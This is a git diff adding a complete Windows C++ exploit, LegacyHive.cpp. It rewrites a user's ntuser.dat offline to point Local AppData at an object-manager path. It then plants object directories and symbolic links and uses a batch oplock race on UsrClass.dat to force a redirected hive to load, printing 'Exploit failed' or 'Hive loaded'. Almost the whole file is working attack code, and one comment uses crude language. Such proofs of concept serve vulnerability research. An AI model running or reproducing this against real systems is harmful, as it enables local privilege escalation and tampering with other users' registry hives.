diff --git a/LegacyHive.cpp b/LegacyHive.cpp new file mode 100644 index 0000000..1b09ebf --- /dev/null +++ b/LegacyHive.cpp @@ -0,0 +1,474 @@ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#include +#include "offreg.h" +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "userenv.lib") +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "offreg.lib") +#pragma comment(lib, "Rpcrt4.lib") +#pragma warning(disable : 4996) + +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags) = + (NTSTATUS(WINAPI*)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags))GetProcAddress(hm, "NtCreateDirectoryObjectEx"); + +struct HVarg { + wchar_t* username; + wchar_t* password; + HANDLE hprocess; + HANDLE hcallerthread; +}; + +void GenGUID(wchar_t* guid) +{ + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + wcscpy(guid, wuid2); +} + +bool CreateDirectoryWithPermissiveDACL(wchar_t* dirpath) +{ + PSID pEveryoneSID = NULL; + PACL pACL = NULL; + EXPLICIT_ACCESS ea; + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + if (!AllocateAndInitializeSid(&SIDAuthWorld, 1, + SECURITY_WORLD_RID, + 0, 0, 0, 0, 0, 0, 0, + &pEveryoneSID)) + { + printf("AllocateAndInitializeSid, error: %d\n", GetLastError()); + return false; + } + + ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); + ea.grfAccessPermissions = GENERIC_ALL; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT | NO_INHERITANCE; + + ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID; + + DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL); + if (dwRes != ERROR_SUCCESS) { + printf("SetEntriesInAcl, error: %d\n", dwRes); + FreeSid(pEveryoneSID); + return false; + } + PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LMEM_FIXED, SECURITY_DESCRIPTOR_MIN_LENGTH); + InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); + SetSecurityDescriptorDacl(sd, TRUE, pACL, FALSE); + SECURITY_ATTRIBUTES sa = { 0 }; + sa.nLength = sizeof(sa); + sa.lpSecurityDescriptor = sd; + + bool retval = true; + if (!CreateDirectory(dirpath, &sa)) + { + printf("Failed to create directory %ws, error : %d\n", dirpath, GetLastError()); + retval = false; + } + if (sd) LocalFree(sd); + if (pEveryoneSID) FreeSid(pEveryoneSID); + if (pACL) LocalFree(pACL); + return retval; +} + +void ThrowFunc() +{ + throw 1; +} + +void RaiseExceptionInThread(HANDLE hthread) +{ + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + SuspendThread(hthread); + + if (GetThreadContext(hthread, &ctx)) + { + ctx.Rip = (DWORD64)ThrowFunc; + SetThreadContext(hthread, &ctx); + ResumeThread(hthread); + } +} + +DWORD WINAPI HiveLoaderThread(void* creds) +{ + HVarg* _creds = (HVarg*)creds; + if (!_creds) { + RaiseExceptionInThread(_creds->hcallerthread); + return 1; + } + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + + if (!CreateProcessWithLogonW(_creds->username, NULL, _creds->password, LOGON_WITH_PROFILE, L"C:\\Windows\\notepad.exe", NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) + { + printf("CreateProcessWithLogonW failed with error : %d\n", GetLastError()); + RaiseExceptionInThread(_creds->hcallerthread); + return 1; + } + CloseHandle(pi.hThread); + _creds->hprocess = pi.hProcess; + return ERROR_SUCCESS; +} + +int wmain(int argc, wchar_t **argv) +{ + + if (argc != 4) + { + printf("Usage %ws \n", argv[0]); + return 0; + } + OSVERSIONINFO osver = { 0 }; + osver.dwOSVersionInfoSize = sizeof(osver); + GetVersionEx(&osver); + + DWORD tid = NULL; + HANDLE hthread = NULL; + HVarg targ = { 0 }; + targ.username = argv[1]; + targ.password = argv[2]; + + + HANDLE htoken = NULL; + HKEY hloadedhive = NULL; + wchar_t userhivepath[MAX_PATH] = { 0 }; + HANDLE huserhive = NULL; + ORHKEY hivemap = NULL; + DWORD retval = NULL; + ORHKEY htargetkey = NULL; + bool shouldrestore = false; + wchar_t existinglocalappdatapath[MAX_PATH] = { 0 }; + wchar_t guid[64] = { 0 }; + GenGUID(guid); + wchar_t newlappdata[MAX_PATH] = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted"; + DWORD elapsz = NULL; + bool cleandir = false; + wchar_t workdir[MAX_PATH] = { L"C:\\" }; + wcscat(workdir, guid); + + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hworkdirobj = NULL; + HANDLE hmsdirobj = NULL; + HANDLE hwindirlnk = NULL; + HANDLE hwindirlnk1 = NULL; + + wchar_t newhivepath[MAX_PATH] = { 0 }; + wsprintf(newhivepath, L"%s\\ntuser.dat", workdir); + + wchar_t usrclasshivepath[MAX_PATH] = { 0 }; + wchar_t usrclasshivepathnew[MAX_PATH] = { 0 }; + wsprintf(usrclasshivepathnew, L"%s\\UsrClass.dat", workdir); + + void* hivebuff = NULL; + DWORD hivesz = NULL; + LARGE_INTEGER li = { 0 }; + DWORD readbytes = 0; + + wchar_t _winlnktarget1[MAX_PATH] = { 0 }; + wsprintf(_winlnktarget1, L"\\??\\C:\\%s", guid); + UNICODE_STRING winlnktarget1 = { 0 }; + RtlInitUnicodeString(&winlnktarget1, _winlnktarget1); + wchar_t _winlnktarget2[MAX_PATH] = { 0 }; + wsprintf(_winlnktarget2, L"\\??\\C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows", argv[3]); + UNICODE_STRING winlnktarget2 = { 0 }; + RtlInitUnicodeString(&winlnktarget2, _winlnktarget2); + + UNICODE_STRING msdirobjpath = { 0 }; + UNICODE_STRING workdirobjpath = { 0 }; + OBJECT_ATTRIBUTES msdirobjattr = { 0 }; + OBJECT_ATTRIBUTES workdirobjattr = { 0 }; + RtlInitUnicodeString(&msdirobjpath, L"\\BaseNamedObjects\\Restricted\\Microsoft"); + + wchar_t _workdirobjpath[MAX_PATH] = { 0 }; + wsprintf(_workdirobjpath, L"\\BaseNamedObjects\\Restricted\\%s", guid); + RtlInitUnicodeString(&workdirobjpath, _workdirobjpath); + UNICODE_STRING uwin = { 0 }; + RtlInitUnicodeString(&uwin, L"Windows"); + OBJECT_ATTRIBUTES winlnkobjattr1 = { 0 }; + + HANDLE hlock = NULL; + OVERLAPPED ov = { 0 }; + DWORD transfersz = NULL; + try { + + targ.hcallerthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId()); + if (!targ.hcallerthread) + { + printf("Failed to open current thread, error : %d\n", GetLastError()); + goto cleanup; + } + InitializeObjectAttributes(&workdirobjattr, &workdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + stat = _NtCreateDirectoryObjectEx(&hworkdirobj, GENERIC_ALL, &workdirobjattr, NULL, NULL); + if (stat) + { + printf("Failed to create object directory %ws, error : 0x%0.8X\n", workdirobjpath.Buffer, stat); + goto cleanup; + } + InitializeObjectAttributes(&msdirobjattr, &msdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + stat = _NtCreateDirectoryObjectEx(&hmsdirobj, GENERIC_ALL, &msdirobjattr, hworkdirobj, NULL); + if (stat) + { + printf("Failed to create object directory %ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, stat); + goto cleanup; + } + InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hmsdirobj, NULL); + stat = _NtCreateSymbolicLinkObject(&hwindirlnk, GENERIC_ALL, &winlnkobjattr1, &winlnktarget1); + if (stat) + { + printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, uwin.Buffer, stat); + goto cleanup; + } + InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hworkdirobj, NULL); + stat = _NtCreateSymbolicLinkObject(&hwindirlnk1, GENERIC_ALL, &winlnkobjattr1, &winlnktarget2); + if (stat) + { + printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", workdirobjpath.Buffer, uwin.Buffer, stat); + goto cleanup; + } + + cleandir = CreateDirectoryWithPermissiveDACL(workdir); + if (!cleandir) + goto cleanup; + if (!LogonUser(argv[1], NULL, argv[2], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken) || !htoken) { + printf("LogonUser failed, error : %d\n", GetLastError()); + goto cleanup; + } + if (!ImpersonateLoggedOnUser(htoken)) + { + printf("ImpersonateLoggedOnUser failed, error : %d\n", GetLastError()); + goto cleanup; + } + + ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\ntuser.dat", userhivepath, MAX_PATH); + ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", usrclasshivepath, MAX_PATH); + huserhive = CreateFile(userhivepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (!huserhive || huserhive == INVALID_HANDLE_VALUE) + { + printf("Failed to open user hive \"%ws\", error : %d\n", userhivepath, GetLastError()); + goto cleanup; + } + GetFileSizeEx(huserhive, &li); + hivesz = li.QuadPart; + hivebuff = malloc(hivesz); + if (!ReadFile(huserhive, hivebuff, hivesz, &readbytes, NULL) || hivesz != readbytes) + { + printf("Failed to backup target user hive content, error : %d\n", GetLastError()); + goto cleanup; + } + + // fucking retarded + SetFilePointer(huserhive, NULL, NULL, FILE_BEGIN); + retval = OROpenHiveByHandle(huserhive, &hivemap); + if (retval) + { + printf("Failed to map user hive to memory, error %d\n", retval); + goto cleanup; + } + retval = OROpenKey(hivemap, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", &htargetkey); + if (retval) + { + printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders, error %d\n", retval); + goto cleanup; + } + retval = ORSetValue(htargetkey, L"Local AppData", REG_EXPAND_SZ, (LPBYTE)newlappdata, wcslen(newlappdata) * sizeof(wchar_t) + sizeof(wchar_t)); + if (retval) + { + printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Local AppData, error %d\n", retval); + goto cleanup; + } + ORCloseKey(htargetkey); + htargetkey = NULL; + retval = ORSaveHive(hivemap, newhivepath, osver.dwMajorVersion, osver.dwMinorVersion); + if (retval) + { + printf("Failed to save new hive content, error : %d\n", retval); + goto cleanup; + } + ORCloseHive(hivemap); + hivemap = NULL; + CloseHandle(huserhive); + huserhive = NULL; + if (!MoveFileEx(newhivepath, userhivepath, MOVEFILE_REPLACE_EXISTING)) + { + printf("Failed to apply hive changes, error : %d\n", GetLastError()); + goto cleanup; + } + shouldrestore = true; + if (!CopyFile(usrclasshivepath, usrclasshivepathnew, FALSE)) + { + printf("Failed to copy UsrClass.dat, error : %d\n", GetLastError()); + goto cleanup; + } + + hlock = CreateFile(usrclasshivepathnew, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to open %ws, error : %d\n", usrclasshivepathnew, GetLastError()); + goto cleanup; + } + ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ov); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + goto cleanup; + } + + + + hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)HiveLoaderThread, &targ, NULL, &tid); + if (!hthread) + { + printf("Failed to create helper thread, error : %d\n", GetLastError()); + goto cleanup; + } + GetOverlappedResult(hlock, &ov, &transfersz, TRUE); + CloseHandle(hwindirlnk); + hwindirlnk = NULL; + printf("oplock triggered !\n"); + CloseHandle(hlock); + hlock = NULL; + + + WaitForSingleObject(hthread, INFINITE); + + retval = RegOpenUserClassesRoot(htoken, NULL, MAXIMUM_ALLOWED, &hloadedhive); + if (hloadedhive) + { + RegCloseKey(hloadedhive); + hloadedhive = NULL; + } + if (retval) + { + printf("Exploit failed, hive was not loaded.\n"); + goto cleanup; + } + printf("Hive loaded, press any key to unload and exit.\n"); + + } + catch (DWORD exception) + { + goto cleanup; + } +cleanup: + _getch(); + if (hloadedhive) + { + CloseHandle(hloadedhive); + hloadedhive = NULL; + } + + if (hthread) { + TerminateThread(hthread, ERROR_SUCCESS); + CloseHandle(hthread); + hthread = NULL; + } + if (targ.hcallerthread) + { + CloseHandle(targ.hcallerthread); + targ.hcallerthread = NULL; + } + if (targ.hprocess) + { + TerminateProcess(targ.hprocess, ERROR_SUCCESS); + CloseHandle(targ.hprocess); + targ.hprocess = NULL; + } + Sleep(500); + if (ov.hEvent) + { + CloseHandle(ov.hEvent); + ov = { 0 }; + } + if (hwindirlnk) + { + CloseHandle(hwindirlnk); + hwindirlnk = NULL; + } + if (hwindirlnk1) + { + CloseHandle(hwindirlnk1); + hwindirlnk1 = NULL; + } + + if (hmsdirobj) + { + CloseHandle(hmsdirobj); + hmsdirobj = NULL; + } + if (hworkdirobj) + { + CloseHandle(hworkdirobj); + hworkdirobj = NULL; + } + + if (huserhive) + { + CloseHandle(huserhive); + huserhive = NULL; + } + if (hivemap) + { + ORCloseHive(hivemap); + hivemap = NULL; + } + if (shouldrestore) + { + huserhive = CreateFile(userhivepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (!huserhive || huserhive == INVALID_HANDLE_VALUE) + {} + else { + WriteFile(huserhive, hivebuff, hivesz, &readbytes, NULL); + CloseHandle(huserhive); + huserhive = NULL; + } + } + RevertToSelf(); + if (GetFileAttributes(usrclasshivepathnew) != INVALID_FILE_ATTRIBUTES) { + DeleteFile(usrclasshivepathnew); + } + if (GetFileAttributes(newhivepath) != INVALID_FILE_ATTRIBUTES) { + DeleteFile(newhivepath); + } + if (htoken) { + CloseHandle(htoken); + htoken = NULL; + } + if (cleandir) + RemoveDirectory(workdir); + return 0; +}